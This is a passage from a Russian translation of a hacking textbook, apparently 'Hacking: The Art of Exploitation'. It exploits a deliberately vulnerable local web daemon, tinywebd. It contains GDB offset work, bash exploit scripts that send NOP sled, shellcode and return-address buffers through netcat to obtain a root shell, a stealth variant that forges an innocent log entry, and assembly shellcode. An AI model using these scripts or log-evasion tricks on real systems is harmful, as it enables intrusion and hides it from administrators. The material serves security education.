URL not found
3660x600 Противодействие return -1;
return (int) stat_struct.st_size;
}
/* Эта функция пишет метку времени * в переданный ей дескриптор открытого файла. */void timestamp(fd) { time_t now; struct tm *time_struct; int length; char time_buffer[40]; time(&now); // Кличество секунд с начала эпохи. time_struct = localtime((const time_t *)&now); // Преобразовать // в структуру tm. length = strftime(time_buffer, 40, “%m/%d/%Y %H:%M:%S> “, time_struct); write(fd, time_buffer, length); // Записать строку // метки времени в журнал.}Эта программа переводит процесс в фоновый режим, выводит данные в журнал, снабжая их метками времени, и корректно завершается по сигналу. Дескрипторы журнального файла и сокета, принимающего со- единение, описаны как глобальные переменные, чтобы функция, обра- батывающая сигнал завершения, могла их закрыть. Эта функция han- dle_shutdown()
зарегистрирована как обработчик сигналов прерывания и завершения, что позволяет программе корректно завершиться по ко- манде kill.
Ниже показан результат компиляции, выполнения и завершения ра- боты этой программы. Обратите внимание на метки времени в журна- ле и сообщение, записанное после получения программой сигнала за- вершения и вызова handle_shutdown().
reader@hacking:/booksrc $ gcc -o tinywebd tinywebd.c reader@hacking:/booksrc $ sudo chown root ./tinywebd reader@hacking:/booksrc $ sudo chmod u+s ./tinywebd reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ ./webserver_id 127.0.0.1
The web server for 127.0.0.1 is Tiny webserver reader@hacking:/booksrc $ ps ax | grep tinywebd
25058 ? Ss 0:00 ./tinywebd
25075 pts/3 R+ 0:00 grep tinywebd reader@hacking:/booksrc $ kill 25058
reader@hacking:/booksrc $ ps ax | grep tinywebd
25121 pts/3 R+ 0:00 grep tinywebd reader@hacking:/booksrc $ cat /var/log/tinywebd.log cat: /var/log/tinywebd.log: Permission denied
0x630 Профессиональные инструменты 367reader@hacking:/booksrc $ sudo cat /var/log/tinywebd.log
07/22/2007 17:55:45> Starting up.
07/22/2007 17:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK
07/22/2007 17:57:21> Shutting down.
reader@hacking:/booksrc $
Программа
tinywebd передает контент HTTP точно так же, как перво- начальная программа
tinyweb, но ведет себя как системный демон, от- ключаясь от управляющего терминала и выводя данные в журнальный файл. Обе программы уязвимы для одного и того же эксплойта пере- полнения, но ее эксплойт – это лишь начало. Используя демон
tinyweb в качестве более реалистичной цели для эксплойта, вы узнаете, как из- бежать обнаружения после вторжения.
0x630 Профессиональные инструментыТеперь,
когда у нас появилась реалистичная цель, вернемся обратно на сторону атакующего. Важный профессиональный инструмент для по- добных атак – скрипты эксплойтов. Подобно набору отмычек у взлом- щика, эксплойты открывают хакеру многие двери. Тщательно порабо- тав с внутренними механизмами, можно полностью обойти систему за- щиты.
Ранее мы написали код эксплойта на языке C и пользовались уязвимо- стями из командной строки. Тонкая разница между программой и ин- струментом для эксплойта состоит в их финализации и возможностях настройки. Программа эксплойта – это скорее огнестрельное оружие, чем инструмент. У нее, как у пистолета, лишь одна функция, а весь интерфейс состоит из спускового крючка, на который нужно нажать.
И пистолет, и программа эксплойта – готовые продукты, которые в не- умелых руках делаются опасными. Напротив, инструменты для экс- плойта – это не окончательные продукты и они не рассчитаны на то, чтобы ими пользовался кто-то другой. Умея программировать, хакер, конечно, станет писать собственные скрипты и инструменты для экс- плойта. Эти личные инструменты автоматизируют утомительные за- дачи и облегчают экспериментирование. Как и обычные инструменты, они могут применяться для различных задач, расширяя возможности пользователя.
0x631 Инструмент для эксплойта tinywebdДля демона
tinyweb нам нужен такой инструмент эксплойта, который позволит экспериментировать с уязвимостями. Как и при создании на- ших прежних эксплойтов, сначала применяем GDB, чтобы выяснить детали уязвимости, такие как смещения. Смещение адреса возврата будет таким же, как в изначальной программе
tinyweb.c, но то, что про- грамма выполняется как демон, вызывает некоторые проблемы. Вызов daemon()
порождает новый процесс, и оставшаяся часть программы вы-
3680x600 Противодействие полняется в дочернем процессе, а родительский процесс закрывается.
Ниже показано, что точка останова задана после вызова daemon(), но от- ладчик в нее не попадает.
reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file “/home/reader/.gdbinit”
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) list 47 42 43 if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
44 fatal(“setting socket option SO_REUSEADDR”);
45 46 printf(“Starting tiny web daemon.\n”);
47 if(daemon(1, 1) == -1) // Запустить процесс демона в фоновом режиме.
48 fatal(“forking to daemon process”);
49 50 signal(SIGTERM, handle_shutdown); // Вызвать handle_shutdown
// для завершения.
51 signal(SIGINT, handle_shutdown); // Вызвать handle_shutdown
// для прерывания.
(gdb) break 50
Breakpoint 1 at 0x8048e84: file tinywebd.c, line 50.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Starting tiny web daemon.
Program exited normally.
(gdb)
Запущенная программа просто завершает работу. Чтобы отлаживать такую программу,
отладчик должен следовать за дочерним, а не роди- тельским процессом. Для этого нужно установить в нем режим следо- вания за дочерним процессом при ветвлении. В таком случае он будет прослеживать выполнение дочернего процесса, где установлена точка останова.
(gdb) set follow-fork-mode child
(gdb) help set follow-fork-mode
Set debugger response to a program call of fork or vfork.
A fork or vfork creates a new process. follow-fork-mode can be:
parent - the original process is debugged after a fork child - the new process is debugged after a fork
The unfollowed process will continue to run.
By default, the debugger will follow the parent process.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Starting tiny web daemon.
[Switching to process 1051]
Breakpoint 1, main () at tinywebd.c:50
0x630 Профессиональные инструменты
369
50 signal(SIGTERM, handle_shutdown); // Вызвать handle_shutdown
// для завершения.
(gdb) quit
The program is running. Exit anyway? (y or n) y reader@hacking:/booksrc $ ps aux | grep a.out root 911 0.0 0.0 1636 416 ? Ss 06:04 0:00 /home/reader/
booksrc/a.out reader 1207 0.0 0.0 2880 748 pts/2 R+ 06:13 0:00 grep a.out reader@hacking:/booksrc $ sudo kill 911
reader@hacking:/booksrc $
Уметь отлаживать дочерние процессы полезно, но нам нужны точные значения стека, и гораздо аккуратнее и удобнее подключиться к про- цессу, который уже выполняется. Убьем все процессы a.out, а потом снова запустим демон tinyweb и подключимся к нему через GDB.
reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon..
reader@hacking:/booksrc $ ps aux | grep tinywebd root 25830 0.0 0.0 1636 356 ? Ss 20:10 0:00 ./tinywebd reader 25837 0.0 0.0 2880 748 pts/1 R+ 20:10 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q–pid=25830 --symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit”
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
Attaching to process 25830
/cow/home/reader/booksrc/tinywebd: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) bt
#0 0xb7fe77f2 in ?? ()
#1 0xb7f691e1 in ?? ()
#2 0x08048f87 in main () at tinywebd.c:68
(gdb) list 68 63 if (listen(sockfd, 20) == -1)
64 fatal(“listening on socket”);
65 66 while(1) { // Цикл приема соединения
67 sin_size = sizeof(struct sockaddr_in);
68 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
69 if(new_sockfd == -1)
70 fatal(“accepting connection”);
71 72 handle_connection(new_sockfd, &client_addr, logfd);
(gdb) list handle_connection
77 /* Эта функция обрабатывает соединение на заданном сокете от заданного
78 * адреса клиента и регистрирует в журнале с заданным дескриптором
79 * файла. Соединение обрабатывается как веб-запрос, и функция отвечает
80 * через сокет соединения. В конце работы переданный сокет закрывается.
81 */
370
0x600 Противодействие
82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
84 int fd, length;
85 86 length = recv_line(sockfd, request);
(gdb) break 86
Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) cont
Continuing.
Выполнение приостанавливается, пока демон tinyweb ждет соедине- ния. Мы снова соединимся с этим веб-сервером с помощью броузера, чтобы подтолкнуть выполнение до точки останова.
Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbffff810) at tinywebd.c:86 86 length = recv_line(sockfd, request);
(gdb) bt
#0 handle_connection (sockfd=5, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) x/x request
0xbffff5c0: 0x080484ec
(gdb) x/16x request + 500 0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848 0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0 0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048fb7 0x00000005 0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004
(gdb) x/x 0xbffff7d4 + 8 0xbffff7dc: 0x08048fb7
(gdb) p /x 0xbffff7dc - 0xbffff5c0
$1 = 0x21c
(gdb) p 0xbffff7dc - 0xbffff5c0
$2 = 540
(gdb) p /x 0xbffff5c0 + 100
$3 = 0xbffff624
(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 25830
reader@hacking:/booksrc $
Отладчик показывает, что адрес начала буфера запроса 0xbffff5c0, а адрес сохраненного адреса возврата 0xbffff7dc, откуда следует, что смещение равно 540 байт. Надежнее всего поместить шелл-код при- мерно в середине 500-байтного буфера запроса. Ниже представлен бу- фер эксплойта, в котором шелл-код втиснут между NOP-цепочкой и адресом возврата, повторенным 32 раза. 128 байт повторяющегося адреса возврата отдаляют шелл-код от небезопасной памяти стека, ко- торая может быть затерта. Небезопасные байты есть также в начале бу- фера эксплойта, который будет затерт при записи нулевого конца. Для
0x630 Профессиональные инструменты
371
того чтобы шелл-код не попал в эту область, впереди него помещена
NOP-цепочка длиной 100 байт. Это оставляет достаточно места, если шелл-код размещается с адреса 0xbffff624. Ниже показан результат эксплойта этой уязвимости с помощью шелл-кода для закольцованно- го интерфейса.
reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ wc -c loopback_shell
83 loopback_shell reader@hacking:/booksrc $ echo $((540+4 - (32*4) - 83))
333
reader@hacking:/booksrc $ nc -l -p 31337 &
[1] 9835
reader@hacking:/booksrc $ jobs
[1]+ Running nc -l -p 31337 &
reader@hacking:/booksrc $ (perl -e ‘print “\x90”x333’; cat loopback_shell; perl -e ‘print “\
x24\xf6\xff\xbf”x32 . “\r\n”’) | nc -w 1 -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ fg nc -l -p 31337
whoami root
Поскольку смещение до адреса возврата составляет 540 байт, нужно
544 байта, чтобы переписать этот адрес. Если длина шелл-кода 83 бай- та и адрес возврата повторен 32 раза, то оказывается, что NOP-цепочка должна иметь длину 333 байта, и тогда в буфере эксплойта все будет правильно выровнено. Запускаем netcat в режиме ожидания и с симво- лом амперсанда (&) в конце, что переводит процесс в фоновый режим.
Он будет ждать соединения от шелл-кода, и возобновить его можно бу- дет командой fg (от foreground – передний план). На загрузочном дис- ке
1
цвет символа @ в приглашении меняется, если есть фоновые зада- ния, список которых можно также вывести командой jobs. Когда бу- фер эксплойта посылается на стандартный вход netcat, ключ -w сооб- щает, что нужно выполнить задержку в одну секунду. После этого пе- реведенный в фоновый режим процесс netcat, получивший обратный вызов оболочки, можно перевести на передний план.
Все это прекрасно, но если размер шелл-кода меняется, приходится пе- ресчитывать размер NOP-цепочки. Такие повторяющиеся операции можно поместить в скрипт оболочки.
В оболочке BASH есть простые управляющие структуры. Оператор if в начале этого скрипта служит для проверки ошибок и вывода сооб- щения о формате вызова. Для задания смещения и адреса возврата ис-
1
www.symbol.ru/library/hacking-2ed. – Прим. ред.
372
0x600 Противодействие пользуются переменные окружения, которые легко поменять, если из- менится атакуемая программа. Шелл-код для эксплойта передается в виде аргумента командной строки, что делает данный инструмент по- лезным для испытания разных вариантов шелл-кода.
xtool_tinywebd.sh
#!/bin/sh
# Инструмент для эксплойта tinywebd if [ -z “$2” ]; then # Если аргумент 2 пуст echo “Usage: $0 ”
exit fi
OFFSET=540
RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
echo “target IP: $2”
SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
echo “shellcode: $1 ($SIZE bytes)”
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))
echo “[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr
($((4*32)) bytes)]”
( perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
cat $1;
perl -e “print \”$RETADDR\”x32 . \”\r\n\””;) | nc -w 1 -v $2 80
Обратите внимание: в этом скрипте адрес возврата повторяется дополни- тельный 33-й раз, но размер цепочки вычисляется как 128 байт (32 × 4).
В результате еще один адрес возврата помещается дальше требуемого смещения. Дело в том, что некоторые опции компилятора могут немно- го смещать адрес возврата, и такое изменение делает эксплойт надеж- нее. Ниже показано, как это инструмент используется для очередного эксплойта демона tinyweb, но с шелл-кодом привязки порта.
reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ ./xtool_tinywebd.sh portbinding_shellcode 127.0.0.1
target IP: 127.0.0.1
shellcode: portbinding_shellcode (92 bytes)
[NOP (324 bytes)] [shellcode (92 bytes)] [ret addr (128 bytes)]
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) open whoami root
Теперь, когда атакующая сторона вооружена скриптом для эксплой- та, посмотрим, как будет происходить его применение. Если вы адми- нистратор сервера, где работает демон tinyweb, то каковы будут первые признаки того, что вас атаковали?
0x640 Журнальные файлы
3730x640 Журнальные файлы Один из двух наиболее очевидных признаков вторжения относится к журнальному файлу. Журнал, который ведет демон
tinyweb, – одно из главных мест, где нужно искать признаки проблем.
Даже если экс- плойт успешно применен, в журнале должна сохраниться запись, сви- детельствующая о происшедшем.
Журнальный файл tinywebd reader@hacking:/booksrc $ sudo cat /var/log/tinywebd.log
07/25/2007 14:55:45> Starting up.
07/25/2007 14:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK
07/25/2007 17:49:14> From 127.0.0.1:50201 “GET / HTTP/1.1” 200 OK
07/25/2007 17:49:14> From 127.0.0.1:50202 “GET /image.jpg HTTP/1.1” 200 OK
07/25/2007 17:49:14> From 127.0.0.1:50203 “GET /favicon.ico HTTP/1.1” 404
Not Found
07/25/2007 17:57:21> Shutting down.
08/01/2007 15:43:08> Starting up..
08/01/2007 15:43:41> From 127.0.0.1:45396 “
□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□jfX□1□CRj j □□ □jfXCh □□
f
□T$ fhzifS□□j QV□□C □□□□I□? Iy□□
Rh//shh/bin□□R□□S□□ $□□□$□□□$□□
□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□
□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□□$□□
□$□□□$□□□“ NOT HTTP!
reader@hacking:/booksrc $
Конечно, получив доступ к оболочке root, атакующий может отредак- тировать журнал, находящийся на той же машине. Но в защищенных сетях копии журналов часто посылаются на другие защищенные сер- веры. В отдельных случаях журналы распечатываются на принтере.
Такого рода меры противодействуют подделке журналов после успеш- ного взлома системы.
0x641 Слиться с толпойДаже если нельзя подделать журнал, иногда можно подделать то, что в нем регистрируется. В журналах обычно множество нормальных за- писей, среди которых попытки эксплойтов просто бросаются в глаза.
Демона
tinyweb можно обмануть, заставив при эксплойте внести в жур- нал невинно выглядящую запись. Посмотрите на исходный код и по- пробуйте сами догадаться, как это сделать. Идея в том, чтобы заста- вить запись в журнале выглядеть как нормальный веб-запрос вроде следующего:
07/22/2007 17:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK
07/25/2007 14:49:14> From 127.0.0.1:50201 “GET / HTTP/1.1” 200 OK
374
0x600 Противодействие
07/25/2007 14:49:14> From 127.0.0.1:50202 “GET /image.jpg HTTP/1.1” 200 OK
07/25/2007 14:49:14> From 127.0.0.1:50203 “GET /favicon.ico HTTP/1.1” 404
Not Found
Такой камуфляж весьма эффективен в больших организациях, где журналы велики в силу множества поступающих законных запросов.
Легче затеряться на многолюдном рынке, чем на пустой улице. Но как же огромный, страшный буфер эксплойта сможет прикрыться овечьей шкурой?
В исходном коде демона tinyweb есть простейшая ошибка, позволяю- щая обрезать вывод буфера запроса при записи в журнал, но не при ко- пировании в память. В функции recv_line() в качестве признака конца строки используется \r\n, тогда как в стандартных функциях копиро- вания строк признаком конца служит нулевой байт. Для записи в жур- нал используются эти строковые функции, поэтому при правильном употреблении обоих ограничителей строк можно добиться частичного контроля над тем, что записывается в журнал.
В следующем сценарии эксплойта перед буфером эксплойта помеща- ется запрос допустимого вида. NOP-цепочка сокращена, чтобы сохра- нить общую длину.
xtool_tinywebd_stealth.sh
#!/bin/sh
# Инструмент для скрытого эксплойта if [ -z “$2” ]; then # Если аргумент 2 пуст echo “Usage: $0 ”
exit fi
FAKEREQUEST=”GET / HTTP/1.1\x00”
FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
OFFSET=540
RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
echo “target IP: $2”
SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
echo “shellcode: $1 ($SIZE bytes)”
echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE))
echo “[Fake Request ($FR_SIZE b)] [NOP ($ALIGNED_SLED_SIZE b)] [shellcode
($SIZE b)] [ret addr ($((4*32)) b)]”
(perl -e “print \”$FAKEREQUEST\” . \”\x90\”x$ALIGNED_SLED_SIZE”;
cat $1;
perl -e “print \”$RETADDR\”x32 . \”\r\n\””) | nc -w 1 -v $2 80
В этом новом буфере эксплойта маскировочный веб-запрос завершает- ся нулевым байтом. Нулевой байт не остановит функцию recv_line(), поэтому буфер эксплойта будет целиком записан в стек. Поскольку строковые функции, выполняющие запись в журнал, используют в ка- честве конца строки ноль, фальшивый запрос будет записан в файл,
0x650 Пропуск очевидного
375а остальная часть эксплойта – нет. Результат применения этого экс- плойта:
reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ nc -l -p 31337 &
[1] 7714
reader@hacking:/booksrc $ jobs
[1]+ Running nc -l -p 31337 &
reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell
127.0.0.1
target IP: 127.0.0.1
shellcode: loopback_shell (83 bytes)
fake request: “GET / HTTP/1.1\x00” (15 bytes)
[Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ fg nc -l -p 31337
whoami root
Соединение, осуществляемое этим эксплойтом, создает следующие за- писи в журнале на сервере:
08/02/2007 13:37:36> Starting up..
08/02/2007 13:37:44> From 127.0.0.1:32828 “GET / HTTP/1.1” 200 OK
С помощью такого метода нельзя изменить IP-адрес, заносимый в жур- нал, но сам запрос выглядит обычным и не должен привлечь к себе осо- бое внимание.
0x650 Пропуск очевидногоНа практике есть еще более очевидный признак вторжения, чем за- пись в журнале, однако при проверке о нем часто забывают. Считая, что главный признак вторжения находится в журнале, вы забываете о прекращении работы сервиса. При эксплойте демона
tinyweb процесс предоставляет взломщику удаленную оболочку, но перестает при этом обрабатывать веб-запросы. Такой эксплойт обнаружится сразу, как только кто-нибудь попытается обратиться к веб-сайту.
Опытный хакер не только взломает программу своим эксплойтом, но и позаботится, чтобы она вернулась в исходное состояние и работала.
Программа будет снова обрабатывать запросы, как будто ничего не произошло.
0x651 Пошаговая работаСложные эксплойты трудно осуществлять, потому что по непонятным причинам многое может пойти не так, как задумано. Чтобы не тратить
3760x600 Противодействие часы на поиск ошибки, обычно лучше разбить сложный эксплойт на мелкие части. Наша конечная цель – составить такой шелл-код, кото- рый запустит оболочку, но сервер
tinyweb будет продолжать работу. Обо- лочка интерактивна, что
связано с некоторыми трудностями, но мы за- ймемся ими позднее. Сначала решим проблему восстановления работы демона
tinyweb после эксплойта. Начнем с написания шелл-кода, кото- рый каким-то образом покажет, что он выполнился, после чего восста- новит способность демона
tinyweb обрабатывать веб-запросы.
Поскольку демон
tinyweb перенаправляет стандартный поток вывода на
/dev/null, вывод на стандартное устройство не может служить мар- кером выполнения шелл-кода. Простой способ показать, что шелл-код выполнился, – создание файла. Это можно сделать с помощью вызовов open()
и close(). Разумеется, чтобы создать файл, нужны соответству- ющие флаги для open(). Можно было бы поискать во включаемых фай- лах истинные значения константы O_CREAT и прочих, а потом получить аргументы с помощью поразрядных операций, но это слишком обреме- нительно. Вспомним, что мы уже делали нечто подобное раньше: про- грамма
notetaker обращается к open(), чтобы создать файл, если он еще не создан. Есть программа
strace, с помощью которой можно увидеть все системные вызовы, выполняемые любой программой. Ниже пока- зано, как с ее помощью проверяется, что аргументам open() в C соответ- ствуют системные вызовы низкого уровня.
reader@hacking:/booksrc $ strace ./notetaker test execve(“./notetaker”, [“./notetaker”, “test”], [/* 27 vars */]) = 0
brk(0) = 0x804a000
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xb7fe5000
access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
open(“/etc/ld.so.cache”, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=70799, ..}) = 0
mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
close(3) = 0
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
open(“/lib/tls/i686/cmov/libc.so.6”, O_RDONLY) = 3
read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0`\1\000”.., 512) =
512
fstat64(3, {st_mode=S_IFREG|0644, st_size=1307104, ..}) = 0
mmap2(NULL, 1312164, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0xb7e92000
mmap2(0xb7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_
DENYWRITE, 3, 0x13b) = 0xb7fcd000
mmap2(0xb7fd0000, 9636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_
ANONYMOUS, -1, 0) = 0xb7fd0000
close(3) = 0
0x650 Пропуск очевидного
377
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xb7e91000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e916c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_
present:0, useable:1}) = 0
mprotect(0xb7fcd000, 4096, PROT_READ) = 0
munmap(0xb7fd3000, 70799) = 0
brk(0) = 0x804a000
brk(0x806b000) = 0x806b000
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xb7fe4000
write(1, “[DEBUG] buffer @ 0x804a008: \’t”.., 37[DEBUG] buffer @
0x804a008: ‘test’) = 37
write(1, “[DEBUG] datafile @ 0x804a070: \’/”.., 43[DEBUG] datafile @
0x804a070: ‘/var/notes’) = 43
open(“/var/notes”, O_WRONLY|O_APPEND|O_CREAT, 0600) = -1 EACCES (Permission
denied)
dup(2) = 3
fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)
fstat64(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xb7fe3000
_llseek(3, 0, 0xbffff4e4, SEEK_CUR) = -1 ESPIPE (Illegal seek)
write(3, “[!!] Fatal Error in main() while”.., 65[!!] Fatal Error in main() while opening file: Permission denied) = 65
close(3) = 0
munmap(0xb7fe3000, 4096) = 0
exit_group(-1) = ?
Process 21473 detached reader@hacking:/booksrc $ grep open notetaker.c fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
fatal(“in main() while opening file”);
reader@hacking:/booksrc $
При запуске из strace флаг suid программы notetaker не действует, поэтому она не сможет открыть файл с данными. Однако для нас это не важно: нам нужно лишь увидеть, что аргументы системного вы- зова open() соответствуют аргументам вызова open() в C. После этого мы можем использовать значения аргументов вызова open() в двоич- ном модуле notetaker в качестве аргументов системного вызова open() в шелл-коде. Компилятор уже проделал всю работу по поиску опреде- лений констант и соединению их значений логическим ИЛИ; нам нуж- но лишь найти аргументы вызова в дизассемблированном коде двоич- ного модуля notetaker.
reader@hacking:/booksrc $ gdb -q ./notetaker
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) set dis intel
(gdb) disass main
Dump of assembler code for function main:
378
0x600 Противодействие
0x0804875f : push ebp
0x08048760 : mov ebp,esp
0x08048762 : sub esp,0x28 0x08048765 : and esp,0xfffffff0 0x08048768 : mov eax,0x0 0x0804876d : sub esp,eax
0x0804876f : mov DWORD PTR [esp],0x64 0x08048776 : call 0x8048601
0x0804877b : mov DWORD PTR [ebp-12],eax
0x0804877e : mov DWORD PTR [esp],0x14 0x08048785 : call 0x8048601
0x0804878a : mov DWORD PTR [ebp-16],eax
0x0804878d : mov DWORD PTR [esp+4],0x8048a9f
0x08048795 : mov eax,DWORD PTR [ebp-16]
0x08048798 : mov DWORD PTR [esp],eax
0x0804879b : call 0x8048480
0x080487a0 : cmp DWORD PTR [ebp+8],0x1 0x080487a4 : jg 0x80487ba
0x080487a6 : mov eax,DWORD PTR [ebp-16]
0x080487a9 : mov DWORD PTR [esp+4],eax
0x080487ad : mov eax,DWORD PTR [ebp+12]
0x080487b0 : mov eax,DWORD PTR [eax]
0x080487b2 : mov DWORD PTR [esp],eax
0x080487b5 : call 0x8048733
0x080487ba : mov eax,DWORD PTR [ebp+12]
0x080487bd : add eax,0x4 0x080487c0 : mov eax,DWORD PTR [eax]
0x080487c2 : mov DWORD PTR [esp+4],eax
0x080487c6 : mov eax,DWORD PTR [ebp-12]
0x080487c9 : mov DWORD PTR [esp],eax
0x080487cc : call 0x8048480
0x080487d1 : mov eax,DWORD PTR [ebp-12]
0x080487d4 : mov DWORD PTR [esp+8],eax
0x080487d8 : mov eax,DWORD PTR [ebp-12]
0x080487db : mov DWORD PTR [esp+4],eax
0x080487df : mov DWORD PTR [esp],0x8048aaa
0x080487e6 : call 0x8048490 0x080487eb : mov eax,DWORD PTR [ebp-16]
0x080487ee : mov DWORD PTR [esp+8],eax
0x080487f2 : mov eax,DWORD PTR [ebp-16]
0x080487f5 : mov DWORD PTR [esp+4],eax
0x080487f9 : mov DWORD PTR [esp],0x8048ac7 0x08048800 : call 0x8048490
0x08048805 : mov DWORD PTR [esp+8],0x180
0x0804880d : mov DWORD PTR [esp+4],0x441
0x08048815 : mov eax,DWORD PTR [ebp-16]
0x08048818 : mov DWORD PTR [esp],eax
0x0804881b : call 0x8048410
---Type to continue, or q to quit---q
Quit
(gdb)
0x650 Пропуск очевидного
379Вспомним, что аргументы функции проталкиваются в стек в обрат- ном порядке. В данном случае компилятор решил вместо команд push воспользоваться командой mov DWORD PTR [esp+
смещение],
значение_для_помещения_в_стек, но в результате в стеке получается та же самая структура. Первый аргумент – указатель на имя файла, находящийся в EAX, второй аргумент (помещаемый по адресу [esp+4]) равен 0x441, а третий аргумент (помещаемый по адресу [esp+8]) равен 0x180. Отсю- да следует, что O_WRONLY|O_CREAT|O_APPEND равно 0x441, а S_IRUSR|S_IWUSR равно 0x180.
Следующий шелл-код использует эти значения, чтобы соз- дать файл
hacked в корневом каталоге.
mark.sBITS 32
; Отметить в файловой системе, что этот код выполнялся.
jmp short one two:
pop ebx ; Имя файла xor ecx, ecx mov BYTE [ebx+7], cl ; Null - конец имени файла push BYTE 0x5 ; Open()
pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
int 0x80 ; Открыть создаваемый файл.
; eax = - возвращаемый дескриптор файла mov ebx, eax ; Дескриптор файла – во второй аргумент push BYTE 0x6 ; Close()
pop eax int 0x80 ; Закрыть файл.
xor eax, eax mov ebx, eax inc eax ; Выход.
int 0x80 ; Exit(0), чтобы не было бесконечного цикла.
one:
call two db “/HackedX”
; 01234567
Шелл-код открывает файл, чтобы создать его, и сразу же закрывает.
В конце вызывается exit, чтобы выйти из бесконечного цикла. Исполь- зование этого нового шелл-кода с инструментом эксплойта:
reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ nasm mark.s reader@hacking:/booksrc $ hexdump -C mark
00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.#[1.K.j.Xf.A.1|
